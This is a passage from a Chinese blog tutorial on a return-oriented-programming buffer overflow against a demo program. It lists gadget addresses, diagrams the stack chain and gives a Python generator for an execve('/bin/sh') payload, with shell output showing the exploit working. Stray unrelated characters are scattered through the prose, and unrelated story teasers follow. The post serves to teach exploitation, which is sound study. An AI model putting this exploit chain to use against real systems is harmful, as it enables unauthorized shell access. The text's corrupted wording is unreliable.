手工搜索目標程序中的gadgets顯然是不現(xiàn)實的瓮床,采用JonathanSalwan編寫的ROPgadget搜索盹舞,網(wǎng)址在這里:https://github.com/JonathanSalwan/ROPgadget,可以使用pip安裝:

su
apt-get install python-pip
pip install capstone
pip install ropgadget
exit

安裝完成后隘庄,可以使用下面的命令來搜索gadgets

ROPgadget --binary ./victim --only "pop|ret"

搜索到程序中存在的跳板指令只是第一步踢步。接下來需要挑選并組裝gadgets,過程非常繁瑣丑掺、復雜获印,不再敘述了〗种荩總之兼丰,經(jīng)過多次嘗試,最后找到了以下gadgets:

0x00000000004003f2 : pop r12 ; ret
0x00000000004018ed : pop r12 ; pop r13 ; ret
0x0000000000487318 : mov rdi, rsp ; call r12
0x0000000000431b3d : pop rax ; ret
0x00000000004333d9 : pop rdx ; pop rsi ; ret
0x000000000043d371 : syscall

按下圖的方式拼裝gadgets菇肃,圖中的‘+’號旁邊的數(shù)字0地粪、1、2琐谤、...蟆技、13表示攻擊程序執(zhí)行過程中rip和rsp的移動順序。

               Stack                                          Code
name-->+--------------------+                           +--------------+0<--rip
       | "\x00"*72          |                           | ret          |
rsp-->0+--------------------+                           +--------------+
       | 0x00000000004003f2 |-----------------------+   | ...          |
      1+--------------------+                       +-->+--------------+1
       | 0x00000000004018ed |---------------------+     | pop r12      |
    2,5+--------------------+                     |     +--------------+2
       | 0x0000000000487318 |------------------+  |     | ret          |
  3,4,6+--------------------+                  |  |     +--------------+
       | "/bin/sh\x00"      |                  |  |     | ...          |
      7+--------------------+                  |  +---->+--------------+5
       | 0x0000000000431b3d |--------------+   |        | pop r12      |
      8+--------------------+              |   |        +--------------+6
       | 0x000000000000003b |              |   |        | pop r13      |
      9+--------------------+              |   |        +--------------+7
       | 0x00000000004333d9 |-----------+  |   |        | ret          |
     10+--------------------+           |  |   |        +--------------+
       | 0x0000000000000000 |           |  |   |        | ...          |
     11+--------------------+           |  |   +------->+--------------+3
       | 0x0000000000000000 |           |  |            | mov rdi, rsp |
     12+--------------------+           |  |            +--------------+4
       | 0x000000000043d371 |-------+   |  |            | call r12     |
     13+--------------------+       |   |  |            +--------------+
                                    |   |  |            | ...          |
                                    |   |  +----------->+--------------+8
                                    |   |               | pop rax      |
                                    |   |               +--------------+9
                                    |   |               | ret          |
                                    |   |               +--------------+
                                    |   |               | ...          |
                                    |   +-------------->+--------------+10
                                    |                   | pop rsi      |
                                    |                   +--------------+11
                                    |                   | pop rdx      |
                                    |                   +--------------+12
                                    |                   | ret          |
                                    |                   +--------------+
                                    |                   | ...          |
                                    +------------------>+--------------+13
                                                        | syscall      |
                                                        +--------------+

為了將大端順序的地址數(shù)值轉(zhuǎn)換為小端順序的字符串斗忌,編寫了一個python程序gen_shellcode.py來生成最終的shellcode:

# >>> s= long2bytes(0x5c4)
# >>> s
# '\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
    ss = [""] * 8
    for i in range(8):
        ss[i] = chr(x & 0xff)
        x >>= 8
    return "".join(ss)

print "\x00"*72 + \
    long2bytes(0x4003f2) + \
    long2bytes(0x4018ed) + \
    long2bytes(0x487318) + \
    "/bin/sh\x00" + \
    long2bytes(0x431b3d) + \
    long2bytes(0x00003b) + \
    long2bytes(0x4333d9) + \
    long2bytes(0x000000) + \
    long2bytes(0x000000) + \
    long2bytes(0x43d371)

現(xiàn)在可以實施攻擊了:

$ python gen-shellcode.py > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, 1804289383!
ls
gen-shellcode.py  shellcode  victim  victim.c
mkdir xxx
ls
gen-shellcode.py  shellcode  victim  victim.c xxx

可以看出終端被成功打開质礼,ls和mkdir命令都可以運行。

5. 致謝

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市肛真,隨后出現(xiàn)的幾起案子谐丢,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,839評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件乾忱,死亡現(xiàn)場離奇詭異讥珍,居然都是意外死亡,警方通過查閱死者的電腦和手機窄瘟,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,543評論 2 382
  • 文/潘曉璐 我一進店門衷佃,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蹄葱,你說我怎么就攤上這事纲酗。” “怎么了新蟆?”我有些...
    開封第一講書人閱讀 153,116評論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長右蕊。 經(jīng)常有香客問我琼稻,道長,這世上最難降的妖魔是什么饶囚? 我笑而不...
    開封第一講書人閱讀 55,371評論 1 279
  • 正文 為了忘掉前任帕翻,我火速辦了婚禮,結(jié)果婚禮上萝风,老公的妹妹穿的比我還像新娘嘀掸。我一直安慰自己,他們只是感情好规惰,可當我...
    茶點故事閱讀 64,384評論 5 374
  • 文/花漫 我一把揭開白布睬塌。 她就那樣靜靜地躺著,像睡著了一般歇万。 火紅的嫁衣襯著肌膚如雪揩晴。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,111評論 1 285
  • 那天贪磺,我揣著相機與錄音硫兰,去河邊找鬼。 笑死寒锚,一個胖子當著我的面吹牛劫映,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播刹前,決...
    沈念sama閱讀 38,416評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼泳赋,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了腮郊?” 一聲冷哼從身側(cè)響起摹蘑,我...
    開封第一講書人閱讀 37,053評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎轧飞,沒想到半個月后衅鹿,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體撒踪,經(jīng)...
    沈念sama閱讀 43,558評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,007評論 2 325
  • 正文 我和宋清朗相戀三年大渤,在試婚紗的時候發(fā)現(xiàn)自己被綠了制妄。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,117評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡泵三,死狀恐怖耕捞,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情烫幕,我是刑警寧澤俺抽,帶...
    沈念sama閱讀 33,756評論 4 324
  • 正文 年R本政府宣布,位于F島的核電站较曼,受9級特大地震影響磷斧,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜捷犹,卻給世界環(huán)境...
    茶點故事閱讀 39,324評論 3 307
  • 文/蒙蒙 一弛饭、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧萍歉,春花似錦侣颂、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,315評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至蔑舞,卻和暖如春丛晌,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背斗幼。 一陣腳步聲響...
    開封第一講書人閱讀 31,539評論 1 262
  • 我被黑心中介騙來泰國打工澎蛛, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人蜕窿。 一個月前我還...
    沈念sama閱讀 45,578評論 2 355
  • 正文 我出身青樓谋逻,卻偏偏與公主長得像,于是被迫代替她去往敵國和親桐经。 傳聞我的和親對象是個殘疾皇子毁兆,可洞房花燭夜當晚...
    茶點故事閱讀 42,877評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 緩沖區(qū)溢出(Buffer Overflow)是計算機安全領域內(nèi)既經(jīng)典而又古老的話題。隨著計算機系統(tǒng)安全性的加強阴挣,傳...
    Chivalrous閱讀 1,327評論 0 5
  • 本文介紹了一些棧的緩沖區(qū)原理和攻防手段气堕。 1. C程序地址空間布局 先上一張老生常談的圖(來自《Unix環(huán)境高級編...
    Matrix0x7C閱讀 4,277評論 0 2
  • 1. 概說 shell我們都知道是什么了吧! 狹義的shellcode 就是一段可以運行shell的代碼!構(gòu)造一段...
    讀書郞閱讀 4,546評論 4 18
  • 生活理念,從早上到晚上每個時間段我怎么做梅桩,還有我的收獲是什么都需要我自己壹粟。。 那么我就早早的起來宿百。 做好引領趁仙,其實...
    lygly9閱讀 182評論 0 0
  • 夜長的緣故,早上總顯得特別慵懶垦页,一剎那以為太陽公公忘記定鬧鐘雀费,懊惱著雖然是周末,卻無法睡到自然醒痊焊。 ...
    青梅3煮酒閱讀 291評論 0 0